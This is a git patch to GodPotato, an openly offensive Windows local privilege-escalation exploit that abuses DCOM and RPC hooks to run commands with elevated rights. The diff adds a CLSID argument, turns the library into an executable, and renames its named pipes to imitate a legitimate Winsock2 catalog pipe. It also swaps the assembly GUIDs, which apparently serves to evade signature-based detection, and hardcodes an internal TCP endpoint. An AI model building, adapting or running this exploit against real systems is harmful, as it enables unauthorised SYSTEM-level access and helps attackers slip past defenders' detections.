From 9dbd49e55d05040d167576d40a4ac47e057f2e09 Mon Sep 17 00:00:00 2001 From: captain-woof Date: Sun, 22 Dec 2024 05:01:18 -0800 Subject: [PATCH] clsid parameter added --- GodPotato.csproj | 4 ++-- NativeAPI/GodPotatoContext.cs | 11 ++++++----- Program.cs | 7 ++++++- Properties/AssemblyInfo.cs | 12 ++++++------ 4 files changed, 20 insertions(+), 14 deletions(-) diff --git a/GodPotato.csproj b/GodPotato.csproj index 07871fa..b2331e1 100644 --- a/GodPotato.csproj +++ b/GodPotato.csproj @@ -4,8 +4,8 @@ Debug AnyCPU - {2AE886C3-3272-40BE-8D3C-EBAEDE9E61E1} - Library + {7d2566c4-63df-aa7e-2e7c-ebae779a61e1} + Exe GodPotato GodPotato v2.0 diff --git a/NativeAPI/GodPotatoContext.cs b/NativeAPI/GodPotatoContext.cs index 942b854..d9434a5 100644 --- a/NativeAPI/GodPotatoContext.cs +++ b/NativeAPI/GodPotatoContext.cs @@ -14,7 +14,7 @@ namespace GodPotato.NativeAPI { public class GodPotatoContext { - private static readonly Guid orcbRPCGuid = new Guid("18f70770-8e64-11cf-9af1-0020af6e72f4"); + private Guid orcbRPCGuid { get; set; } public IntPtr CombaseModule { get; private set; } public IntPtr DispatchTablePtr { get; private set; } public IntPtr UseProtseqFunctionPtr { get; private set; } = IntPtr.Zero; @@ -31,12 +31,13 @@ public class GodPotatoContext public string PipeName { get; set; } public bool IsStart { get; private set; } public bool IsHook { get; private set; } - public readonly string serverPipe = $"\\\\.\\pipe\\{"GodPotato"}\\pipe\\epmapper"; - public readonly string clientPipe = $"ncacn_np:localhost/pipe/{"GodPotato"}[\\pipe\\epmapper]"; + public readonly string serverPipe = $"\\\\.\\pipe\\Winsock2\\CatalogChangeListener-8f8-2\\pipe\\epmapper"; + public readonly string clientPipe = $"ncacn_np:localhost/pipe/Winsock2/CatalogChangeListener-8f8-2[\\pipe\\epmapper]"; - public GodPotatoContext(TextWriter consoleWriter, string pipeName) + public GodPotatoContext(TextWriter consoleWriter, string pipeName, string guidStr) { this.PipeName = pipeName; + this.orcbRPCGuid = new Guid(guidStr); this.newOrcbRPC = new NewOrcbRPC(this); this.ConsoleWriter = consoleWriter; @@ -340,7 +341,7 @@ public NewOrcbRPC(GodPotatoContext godPotatoContext) } public int fun(IntPtr ppdsaNewBindings, IntPtr ppdsaNewSecurity) { - string[] endpoints = { godPotatoContext.clientPipe, "ncacn_ip_tcp:fuck you !" }; + string[] endpoints = { godPotatoContext.clientPipe, "ncacn_ip_tcp:172.16.4.2[80]" }; int entrieSize = 3; for (int i = 0; i < endpoints.Length; i++) diff --git a/Program.cs b/Program.cs index aaeeda3..8d925b5 100644 --- a/Program.cs +++ b/Program.cs @@ -15,6 +15,9 @@ class GodPotatoArgs { [ArgsAttribute("cmd","cmd /c whoami",Description = "CommandLine",Required = true)] public string cmd { get; set; } + + [ArgsAttribute("clsid", "18f70770-8e64-11cf-9af1-0020af6e72f4", Description = "CLSID; get from 'https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md'", Required = true)] + public string clsid { get; set; } } @@ -69,8 +72,10 @@ FFFFFFF FFFFF FFFFFFF FFF FFFFF FFFFF FFFFFFFF FFFF try { - GodPotatoContext godPotatoContext = new GodPotatoContext(ConsoleWriter, Guid.NewGuid().ToString()); + String pipeName = Guid.NewGuid().ToString(); + GodPotatoContext godPotatoContext = new GodPotatoContext(ConsoleWriter, pipeName, potatoArgs.clsid); + ConsoleWriter.WriteLine("[*] Using CLSID: {0}", potatoArgs.clsid); ConsoleWriter.WriteLine("[*] CombaseModule: 0x{0:x}", godPotatoContext.CombaseModule); ConsoleWriter.WriteLine("[*] DispatchTable: 0x{0:x}", godPotatoContext.DispatchTablePtr); ConsoleWriter.WriteLine("[*] UseProtseqFunction: 0x{0:x}", godPotatoContext.UseProtseqFunctionPtr); diff --git a/Properties/AssemblyInfo.cs b/Properties/AssemblyInfo.cs index 0a31ecd..33d753f 100644 --- a/Properties/AssemblyInfo.cs +++ b/Properties/AssemblyInfo.cs @@ -5,12 +5,12 @@ // 有关程序集的一般信息由以下 // 控制。更改这些特性值可修改 // 与程序集关联的信息。 -[assembly: AssemblyTitle("GodPotato")] +[assembly: AssemblyTitle("God Potato")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("GodPotato")] -[assembly: AssemblyCopyright("Copyright © 2022")] +[assembly: AssemblyProduct("God Potato")] +[assembly: AssemblyCopyright("Copyright © 2023")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] @@ -20,7 +20,7 @@ [assembly: ComVisible(false)] // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID -[assembly: Guid("2ae886c3-3272-40be-8d3c-ebaede9e61e1")] +[assembly: Guid("7d2566c4-63df-aa7e-2e7c-ebae779a61e1")] // 程序集的版本信息由下列四个值组成: // @@ -32,5 +32,5 @@ //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值 //通过使用 "*",如下所示: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")]